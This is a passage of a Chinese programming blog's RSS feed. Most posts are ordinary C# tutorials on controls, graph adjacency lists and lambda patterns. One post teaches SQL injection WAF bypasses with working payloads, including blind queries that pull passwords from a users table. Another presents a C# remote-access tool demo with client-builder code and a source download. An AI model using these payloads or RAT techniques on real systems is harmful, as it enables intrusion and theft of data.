&lt;p&gt;但是这样你注意看的话，左上角有个小的瑕疵。这个没办法的。。还有一种比较低级但还算有效的方法就是在设计的时候将TabControl向上移动。运行以后就会遮住了。&lt;/p&gt;
&lt;p&gt;我当时不过取巧了。好像就用的第二种。。今天看到这个题目的时候，就做了下标记。刚才去看。大牛已经给出答案了。就是自己继承一个TabControl控件。重写&lt;/p&gt;
&lt;pre&gt;void WndProc(ref Message m)&lt;/pre&gt;
&lt;p&gt;方法，在方法里拦截系统消息。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Windows.Forms;

class TablessControl : TabControl {
  protected override void WndProc(ref Message m) {
    // Hide tabs by trapping the TCM_ADJUSTRECT message
    if (m.Msg == 0x1328 &amp;amp;&amp;amp; !DesignMode) m.Result = (IntPtr)1;
    else base.WndProc(ref m);
  }
}&lt;/pre&gt;
&lt;p&gt;具体用法。就是在你的项目里新建一个类文件。然后把上面的代码拷进去。然后编译一下。就会在工具箱里多出一个TablessControl控件。拖进来即可使用。当然你也可以自定义一个用户控件。都不是事。这个控件设计时标签页可见。运行时由于拦截了信息消息。标签栏就不可见了。堪称完美。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>图的遍历(C#)</title>
      <link>http://blog.leaver.me/2013/01/06/%E5%9B%BE%E7%9A%84%E9%81%8D%E5%8E%86c/</link>
      <pubDate>Sun, 06 Jan 2013 16:35:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/%E5%9B%BE%E7%9A%84%E9%81%8D%E5%8E%86c/</guid>
      <description>&lt;p&gt;讲的非常好的一篇文章。感谢&lt;a href=&#34;http://www.cnblogs.com/abatei/archive/2008/06/06/1215114.html&#34;&gt;abatei&lt;/a&gt;，直接收藏分享之。&lt;/p&gt;
&lt;h2 id=&#34;图的存储结构&#34;&gt;图的存储结构&lt;/h2&gt;
&lt;p&gt;图的存储结构除了要存储图中各个顶点的本身的信息外，同时还要存储顶点与顶点之间的所有关系（边的信息），因此，图的结构比较复杂，很难以数据元素在存储区中的物理位置来表示元素之间的关系，但也正是由于其任意的特性，故物理表示方法很多。常用的图的存储结构有邻接矩阵、邻接表、十字链表和邻接多重表。&lt;/p&gt;
&lt;h3 id=&#34;821邻接矩阵表示法&#34;&gt;8.2.1  邻接矩阵表示法&lt;/h3&gt;
&lt;p&gt;对于一个具有n个顶点的图，可以使用n*n的矩阵（二维数组）来表示它们间的邻接关系。图8.10和图8.11中，矩阵A(i，j)=1表示图中存在一条边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)，而A(i，j)=0表示图中不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)。实际编程时，当图为不带权图时，可以在二维数组中存放bool值，A(i，j)=true表示存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)，A(i，j)=false表示不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)；当图带权值时，则可以直接在二维数组中存放权值，A(i，j)=null表示不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31196_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/34232ee6d725c72cdc277e3b5146680671171e7f.jpg&#34;&gt;&lt;/a&gt;
图8.10所示的是无向图的邻接矩阵表示法，可以观察到，矩阵延对角线对称，即A(i，j)= A(j，i)。无向图邻接矩阵的第i行或第i列非零元素的个数其实就是第i个顶点的度。这表示无向图邻接矩阵存在一定的数据冗余。&lt;/p&gt;
&lt;p&gt;图8.11所示的是有向图邻接矩阵表示法，矩阵并不延对角线对称，A(i，j)=1表示顶点V&lt;sub&gt;i&lt;/sub&gt;邻接到顶点V&lt;sub&gt;j&lt;/sub&gt;；A(j，i)=1则表示顶点V&lt;sub&gt;i&lt;/sub&gt;邻接自顶点V&lt;sub&gt;j&lt;/sub&gt;。两者并不象无向图邻接矩阵那样表示相同的意思。有向图邻接矩阵的第i行非零元素的个数其实就是第i个顶点的出度，而第i列非零元素的个数是第i个顶点的入度，即第i个顶点的度是第i行和第i列非零元素个数之和。&lt;/p&gt;
&lt;p&gt;由于存在n个顶点的图需要n&lt;sup&gt;2&lt;/sup&gt;个数组元素进行存储，当图为稀疏图时，使用邻接矩阵存储方法将出现大量零元素，照成极大地空间浪费，这时应该使用邻接表表示法存储图中的数据。&lt;/p&gt;
&lt;h3 id=&#34;822邻接表表示法&#34;&gt;8.2.2 邻接表表示法&lt;/h3&gt;
&lt;p&gt;图的邻接矩阵存储方法跟树的孩子链表示法相类似，是一种顺序分配和链式分配相结合的存储结构。邻接表由表头结点和表结点两部分组成，其中图中每个顶点均对应一个存储在数组中的表头结点。如这个表头结点所对应的顶点存在相邻顶点，则把相邻顶点依次存放于表头结点所指向的单向链表中。如图8.12所示，表结点存放的是邻接顶点在数组中的索引。对于无向图来说，使用邻接表进行存储也会出现数据冗余，表头结点A所指链表中存在一个指向C的表结点的同时，表头结点C所指链表也会存在一个指向A的表结点。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31197_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e6366b11df17b7aee6ddd118de3c84bb1c760c37.jpg&#34;&gt;&lt;/a&gt;
有向图的邻接表有出边表和入边表（又称逆邻接表）之分。出边表的表结点存放的是从表头结点出发的有向边所指的尾顶点；入边表的表结点存放的则是指向表头结点的某个头顶点。如图8.13所示，图(b)和(c)分别为有向图(a)的出边表和入边表。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31198_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/847e7b120ab02fcb88556adaa762a4098e7ba831.jpg&#34;&gt;&lt;/a&gt;
以上所讨论的邻接表所表示的都是不带权的图，如果要表示带权图，可以在表结点中增加一个存放权的字段，其效果如图8.14所示。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31199_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a78cf3f8419a98ca2cede25716595c14a30ae2d3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;【注意】：观察图8.14可以发现，当删除存储表头结点的数组中的某一元素，有可能使部分表头结点索引号的改变，从而导致大面积修改表结点的情况发生。可以在表结点中直接存放指向表头结点的指针以解决这个问题（在链表中存放类实例即是存放指针，但必须要保证表头结点是类而不是结构体）。在实际创建邻接表时，甚至可以使用链表代替数组存放表头结点或使用顺序表存代替链表存放表结点。对所学的数据结构知识应当根据实际情况及所使用语言的特点灵活应用，切不可生搬硬套。&lt;/p&gt;
&lt;p&gt;【例8-1  AdjacencyList.cs】图的邻接表存储结构&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
public class AdjacencyList&amp;lt;T&amp;gt;
{
    List&amp;lt;Vertex&amp;lt;T&amp;gt;&amp;gt; items; //图的顶点集合
    public AdjacencyList() : this(10) { } //构造方法
    public AdjacencyList(int capacity) //指定容量的构造方法
    {
        items = new List&amp;lt;Vertex&amp;lt;T&amp;gt;&amp;gt;(capacity);
    }
    public void AddVertex(T item) //添加一个顶点
    {   //不允许插入重复值
        if (Contains(item))
        {
            throw new ArgumentException(&#34;插入了重复顶点！&#34;);
        }
        items.Add(new Vertex&amp;lt;T&amp;gt;(item));
    }
    public void AddEdge(T from, T to) //添加无向边
    {
        Vertex&amp;lt;T&amp;gt; fromVer = Find(from); //找到起始顶点
        if (fromVer == null)
        {
            throw new ArgumentException(&#34;头顶点并不存在！&#34;);
        }
        Vertex&amp;lt;T&amp;gt; toVer = Find(to); //找到结束顶点
        if (toVer == null)
        {
            throw new ArgumentException(&#34;尾顶点并不存在！&#34;);
        }
        //无向边的两个顶点都需记录边信息
        AddDirectedEdge(fromVer, toVer);
        AddDirectedEdge(toVer, fromVer);
    }
    public bool Contains(T item) //查找图中是否包含某项
    {
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            if (v.data.Equals(item))
            {
                return true;
            }
        }
        return false;
    }
    private Vertex&amp;lt;T&amp;gt; Find(T item) //查找指定项并返回
    {
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            if (v.data.Equals(item))
            {
                return v;
            }
        }
        return null;
    }
    //添加有向边
    private void AddDirectedEdge(Vertex&amp;lt;T&amp;gt; fromVer, Vertex&amp;lt;T&amp;gt; toVer)
    {
        if (fromVer.firstEdge == null) //无邻接点时
        {
            fromVer.firstEdge = new Node(toVer);
        }
        else
        {
            Node tmp, node = fromVer.firstEdge;
            do
            {   //检查是否添加了重复边
                if (node.adjvex.data.Equals(toVer.data))
                {
                    throw new ArgumentException(&#34;添加了重复的边！&#34;);
                }
                tmp = node;
                node = node.next;
            } while (node != null);
            tmp.next = new Node(toVer); //添加到链表未尾
        }
    }
    public override string ToString() //仅用于测试
    {   //打印每个节点和它的邻接点
        string s = string.Empty;
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            s += v.data.ToString() + &#34;:&#34;;
            if (v.firstEdge != null)
            {
                Node tmp = v.firstEdge;
                while (tmp != null)
                {
                    s += tmp.adjvex.data.ToString();
                    tmp = tmp.next;
                }
            }
            s += &#34;\r\n&#34;;
        }
        return s;
    }
    //嵌套类，表示链表中的表结点
    public class Node
    {
        public Vertex&amp;lt;T&amp;gt; adjvex; //邻接点域
        public Node next; //下一个邻接点指针域
        public Node(Vertex&amp;lt;T&amp;gt; value)
        {
            adjvex = value;
        }
    }
    //嵌套类，表示存放于数组中的表头结点
    public class Vertex&amp;lt;TValue&amp;gt;
    {
        public TValue data; //数据
        public Node firstEdge; //邻接点链表头指针
        public Boolean visited; //访问标志,遍历时使用
        public Vertex(TValue value) //构造方法
        {
            data = value;
        }
    }
}&lt;/pre&gt;
&lt;/div&gt;
AdjacencyList&amp;lt;T&amp;gt;类使用泛型实现了图的邻接表存储结构。它包含两个内部类，Vertex&amp;lt;Tvalue&amp;gt;类（109～118行代码）用于表示一个表头结点，Node类（99～107）则用于表示表结点，其中存放着邻接点信息，用来表示表头结点的某条边。多个Node用next指针相连形成一个单链表，表头指针为Vertex类的firstEdge成员，表头结点所代表的顶点的所有边的信息均包含在链表内，其结构如图8.12所示。所不同之处在于：
&lt;p&gt;l         Vertex类中包含了一个visited成员，它的作用是在图遍历时标识当前节点是否被访问过，这一点在稍后会讲到。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQL注入中的WAF绕过技术</title>
      <link>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</link>
      <pubDate>Sun, 06 Jan 2013 13:15:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/sql%E6%B3%A8%E5%85%A5%E4%B8%AD%E7%9A%84waf%E7%BB%95%E8%BF%87%E6%8A%80%E6%9C%AF/</guid>
      <description>&lt;p&gt;作者：bystander
博客：&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt;
论坛：法克论坛&lt;/p&gt;
&lt;p&gt;目录&lt;/p&gt;
&lt;p&gt;1.&lt;span style=&#34;font-family: 宋体;&#34;&gt;大小写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2.&lt;span style=&#34;font-family: 宋体;&#34;&gt;简单编码绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;3.&lt;span style=&#34;font-family: 宋体;&#34;&gt;注释绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;4.&lt;span style=&#34;font-family: 宋体;&#34;&gt;分隔重写绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;5.Http&lt;span style=&#34;font-family: 宋体;&#34;&gt;参数污染&lt;/span&gt;(HPP)&lt;/p&gt;
&lt;p&gt;6.&lt;span style=&#34;font-family: 宋体;&#34;&gt;使用逻辑运算符&lt;/span&gt; or /and&lt;span style=&#34;font-family: 宋体;&#34;&gt;绕过&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;7.&lt;span style=&#34;font-family: 宋体;&#34;&gt;比较操作符替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;8.&lt;span style=&#34;font-family: 宋体;&#34;&gt;同功能函数替换&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;9.&lt;span style=&#34;font-family: 宋体;&#34;&gt;盲注无需&lt;/span&gt;or&lt;span style=&#34;font-family: 宋体;&#34;&gt;和&lt;/span&gt;and&lt;/p&gt;
&lt;p&gt;10.&lt;span style=&#34;font-family: 宋体;&#34;&gt;加括号&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;11.缓冲区溢出绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;1. 大小写绕过&lt;/span&gt;&lt;/span&gt;
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union,那就使用Union UnIoN等等。绕过&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;2.  简单编码绕过&lt;/span&gt;&lt;/span&gt;
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union,那么我们就用%55 也就是U的16进制编码来代替U, union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。。&lt;/p&gt;
&lt;p&gt;也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;3.  注释绕过&lt;/span&gt;&lt;/span&gt;
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+union+select+1,2,3/*
&lt;/div&gt;
比如对于上面这条查询，WAF过滤了一次union和select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，，并不影响我们的查询。。
所以绕过语句就是：
&lt;div&gt;
&gt; /?id=1/*union*/union/*select*/select+1,2,3/*
&lt;/div&gt;
还有一种和注释有关的绕过：
比如
&lt;div&gt;
&gt; index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
&lt;/div&gt;
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;4.   分隔重写绕过&lt;/span&gt;&lt;/span&gt;
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+un/**/ion+sel/**/ect+1,2,3--
&lt;/div&gt;
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了
&lt;div&gt;
&gt; ?id=1 ununionion select 1,2,3--
&lt;/div&gt;
&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;5.   Http参数污染(HPP)&lt;/span&gt;&lt;/span&gt;
比如我们有这样的语句：
&lt;div&gt;
&gt; /?id=1 union select+1,2,3+from+users+where+id=1--
&lt;/div&gt;
我们可以重复一次前面的id值添加我们的值来绕过，&amp;amp;id=会在查询时变成逗号
&lt;div&gt;
&gt; /?id=1 union select+1&amp;amp;id=2,3+from+users+where+id=1--
&lt;/div&gt;
这种情况成功的条件比较多，取决于具体的WAF实现。。
&lt;p&gt;再给出一个例子说明用法&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1/**/union/*&amp;amp;id=*/select/*&amp;amp;id=*/pwd/*&amp;amp;id=*/from/*&amp;amp;id=*/users--
&lt;/div&gt;
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
&lt;div&gt;
&gt; select * from table where a=&#34;.$_GET[&#39;a&#39;].&#34; and b=&#34;.$_GET[&#39;b&#39;].&#34; limit &#34;.$_GET[&#39;c&#39;];
&lt;/div&gt;
那我们可以构造这样的注入语句：
&lt;div&gt;
&gt; /?a=1+union/*&amp;amp;b=*/select+1,pass/*&amp;amp;c=*/from+users--
&lt;/div&gt;
最终解析为：
&lt;div&gt;
&gt; select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
&lt;/div&gt;
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;6. 使用逻辑运算符 or /and绕过&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;
&gt; /?id=1+OR+0x50=0x50
&gt; /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
&lt;/div&gt;
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74.
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;7.  比较操作符替换&lt;/span&gt;&lt;/span&gt;
包括!= 不等于，&amp;lt;&amp;gt;不等于，&amp;lt; 小于，&amp;gt;大于，这些都可以用来替换=来绕过，
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;font-size: large;&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;8.  同功能函数替换&lt;/span&gt;&lt;/span&gt;
Substring()可以用mid(),substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换
Benchmark() 可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍
如果连这些都屏蔽了，还有一种新的方法&lt;/p&gt;</description>
    </item>
    <item>
      <title>远程管理Demo(C#)</title>
      <link>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</link>
      <pubDate>Fri, 04 Jan 2013 15:18:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</guid>
      <description>&lt;p&gt;一个C#的通信的例子&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31142_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8a608877e1ae0aef14d26fea8260f247bbb7ee33.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1.服务端，服务端通过ip和端口生成客户端之后，点击开始监听后，便开启监听线程持续监听，同时注册断开连接和收到信息的事件。收到来自TcpClient 流中的信息后，解析之，如果是连接信息，就添加到连接列表，这样服务端就可以显示多个客户端了。如果是断开信息，就删掉。如果服务端想要给客户端发消息，就选中该客户，然后填写信息，就会调用连接类的发送方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2.客户端，也就是被控端，被控端通过tcp连接到远端ip，然后发送连接成功状态，随后异步读取。读取到信息后调用解析方式。然后处理。。&lt;/p&gt;
&lt;p&gt;3.服务端如何生成客户端。其实也比较简单。就是写好客户端以后，保存为文本。然后通过CodeDomProvider的相关方法来编译即可。代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; public static bool Compile(string EXE_Name, string Source)
        {
            CodeDomProvider Compiler = CodeDomProvider.CreateProvider(&#34;CSharp&#34;);
            CompilerParameters Parameters = new CompilerParameters();
            CompilerResults cResults = default(CompilerResults);

            Parameters.GenerateExecutable = true;
            Parameters.OutputAssembly = EXE_Name;
            Parameters.ReferencedAssemblies.Add(&#34;System.dll&#34;);
            Parameters.CompilerOptions = &#34; /target:winexe&#34;;
            Parameters.TreatWarningsAsErrors = false;

            cResults = Compiler.CompileAssemblyFromSource(Parameters, Source);

            if (cResults.Errors.Count &amp;gt; 0)
            {
                foreach (CompilerError CompilerError_loopVariable in cResults.Errors)
                {
                    CompilerError error = CompilerError_loopVariable;
                    MessageBox.Show(&#34;Error: &#34; + error.ErrorText, &#34;&#34;, MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
            }
            else if (cResults.Errors.Count == 0)
            {
                return true;
            }
            return true;
        }&lt;/pre&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=223714&amp;amp;uk=1493685990&#34;&gt;CSharp RAT Example.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第六部分</title>
      <link>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</link>
      <pubDate>Fri, 28 Dec 2012 14:24:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;今天武汉地铁通车了，今天介绍一些新的Lambda设计模式，应该是最后一部分了。&lt;/p&gt;
&lt;p&gt;本节介绍一些核心有lambda表达式的模式，我不认为他们完全是新的模式，但是至少我还没有看到有人给他们起过名字，我于是决定尝试取个可能好，也可能不好的名字，这样我起码能很容易的给别人描述，有话在先，许多模式相当强大，但是可能会引入潜在的bug，所以小心为上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复杂的多态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式也可以被用来创建一些多态（override），而不用使用abstract或者virtual关键字（当然这并不意味着就不能用），考虑如下的代码片段&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; protected set; }

	public MyBaseClass()
	{
		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}&lt;/pre&gt; 
&lt;p&gt;看起来没什么新的知识，我们创建一个类，里面有一个属性（一个lambda表达式），又一次JavaScript化了，有趣的地方是：属性暴露的这个部分不只是本类可以改变，子类也可以改变，看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyInheritedClass : MyBaseClass
{
	public MyInheritedClass
	{
		SomeAction = () =&amp;gt; {
			//Do something different!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;看到了。我们可以改变这个方法。或者进行更精确的操作，这种方法的缺点是我们不能直接访问父类的实现，也就缺乏了基类的能力，因为，这个父类的属性会有同样的值，如果程序员真的需要这样写，我建议你遵循 &lt;em&gt;pattern&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; private set; }

	Stack&amp;lt;Action&amp;gt; previousActions;

	protected void AddSomeAction(Action newMethod)
	{
		previousActions.Push(SomeAction);
		SomeAction = newMethod;
	}

	protected void RemoveSomeAction()
	{
		if(previousActions.Count == 0)
			return;

		SomeAction = previousActions.Pop();
	}

	public MyBaseClass()
	{
		previousActions = new Stack&amp;lt;Action&amp;gt;();

		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}
&lt;/pre&gt; 
&lt;p&gt;这样的话，子类就不得不拥有了 AddSomeAction()  方法，而这个方法是吧当前的方法压入堆栈，那样我们可以恢复之前的状态。&lt;/p&gt;
&lt;p&gt;这种模式我起了一个名字叫做Lambda属性多态模式（LP3），它简单的描述了可以在属性里捕获任何方法。之后可以被子类所设置，栈是这个模式的一个附加品，没有改变我们使用属性来完成的模式目标&lt;/p&gt;
&lt;p&gt;为什么要用这种模式？有几个理由。地一个，因为我们可以用。但是等一等。如果你使用当中不同的属性，这个模式会变得相当棘手，突然，多态变成了一个完全的新方法。但是这也许是一个不同的模式，现在我想说这个模式完成了以前人们认为不可能的事情&lt;/p&gt;
&lt;p&gt;举个例子，你想要（不建议，但是也许对该问题是最优雅的解决方法了。）重写一个静态方法，好吧。静态不可能被继承，原因很简单，师承是对实例对象来说的。而静态方法不属于任何一个实例，对于所有的实例都是一样的。这会引发一个警告，下面的例子也许并不如你所想的结果，因此，除非你非常清楚。否则不要乱用。
看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	var mother = HotDaughter.Activator().Message;
	//mother = &#34;I am the mother&#34;
	var create = new HotDaughter();
	var daughter = HotDaughter.Activator().Message;
	//daughter = &#34;I am the daughter&#34;
}

class CoolMother
{
	public static Func&amp;lt;CoolMother&amp;gt; Activator { get; protected set; }

	//此处是防止空引用
	static CoolMother()
	{
		Activator = () =&amp;gt; new CoolMother();
	}

	public CoolMother()
	{
		//Message of every mother
		Message = &#34;I am the mother&#34;;
	}

	public string Message { get; protected set; }
}

class HotDaughter : CoolMother
{
	public HotDaughter()
	{
		//一进入构造函数我们设置Activator ...
		Activator = () =&amp;gt; new HotDaughter();
		//Message of every daughter
		Message = &#34;I am the daughter&#34;;
	}
}
&lt;/pre&gt; 
&lt;p&gt;这很简单，希望没有对你产生误导，这种模式有时候会让事情变得异常复杂，这也是为什么我总是避免使用它。不过他很有用。（可以通过该方法构造所有的静态属性和方法，并且可以使你总是获得你感兴趣的那个）只要你不感到头疼，这是解决静态多态性的一个好方法。是的。静态多态性是可能的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第五部分</title>
      <link>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 27 Dec 2012 09:15:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/27/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%94%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;武汉下雪了。。今天介绍Lambda表达式非常有用的情况。。ps:这个高手之路已经翻译了10000多字了。。疼啊。。&lt;/p&gt;
&lt;p&gt;一些模式比另一些模式有时候更加合适，真正有用的模式是自定义方法表达式，用爱促使话一些对象的部分，我们考虑下面这种情况。&lt;/p&gt;
&lt;p&gt;我们想要创建一个可以处理多种延迟加载的对象，这意味着即时对象已经被实例化了，我们还没有加载所有请求的资源，一个理由就是防止大量的IO操作。（比如通过网络传输），当我们开始使用数据的时候，我们想要确定数据足够新鲜，现在有一些确定的方法可以做这个。并且最有效的显然是实体框架已经用LINQ解决了延迟加载的问题，Iqueryable&lt;T&gt;仅存储了查询，而没有任何无关的数据。一旦我们请求一个结果。不仅仅构造的查询被执行，同时也被以更高效的方式执行，比如一个在远程数据服务器上的SQL查询。&lt;/p&gt;
&lt;p&gt;在这里，我们仅仅想要看看两种情况的不同点，首先，我们查询，一切就绪，查询应该在已经加载了的数据上进行。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class LazyLoad
{
	public LazyLoad()
	{
		Search = query =&amp;gt; {
			var source = Database.SearchQuery(query);

			Search = subquery =&amp;gt; {
				var filtered = source.Filter(subquery);

				foreach(var result in filtered)
					yield return result;
			};

			foreach(var result in source)
				yield return result;
		};
	}

	public Func&amp;lt;string, IEnumerable&amp;lt;ResultObject&amp;gt;&amp;gt; Search { get; private set; }
}
&lt;/pre&gt; 
&lt;p&gt;简单来看，这里我们有两种不他哦你的方法，地一个是我们把数据从数据库里提取出来（也就是Database静态类所做的），然后第二个方法将会过滤从数据库里提取出来的数据。一旦我们将会从我们的第一次查询取得结果，当然我们也可以构造内置的其他方法来重置类的行为，对于工业级的代码，其他的方法也许更加有用。&lt;/p&gt;
&lt;p&gt;另一个例子是初始时间分支，假设我们有一个对象，该对象有个方法叫做Perform(),这个方法可以用来调用一些代码，包含这个方法的对象可以被初始化，初始化有三种方式。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过传递方法来调用&lt;/li&gt;
&lt;li&gt;通过传递一些包含这个方法的对象来调用&lt;/li&gt;
&lt;li&gt;或者通过传递第一种情况下的序列化以后的信息来调用。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在我们可以保留所有的三种方式做全局变量。而Perform方法将不得不查看当前的状态（或者是保存在枚举变量里，或者和null进行比较）然后检测被调用的正确的方式，最后调用开始。&lt;/p&gt;
&lt;p&gt;更好的一种方法是吧Perform()方法写成一个属性，这个属性仅仅允许在类里面进行set，它是一个委托类型，现在我们可以在对应的构造方法里面直接设置这个属性，因此，我们可以不用全局变量，也不用担心这个对象是如何实例化的，这种方法更好。&lt;/p&gt;
&lt;p&gt;看一小段简单的代码。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Example
{
	public Action&amp;lt;object&amp;gt; Perform { get; private set; }

	public Example(Action&amp;lt;object&amp;gt; methodToBeInvoked)
	{
		Perform = methodToBeInvoked;
	}

	//接口
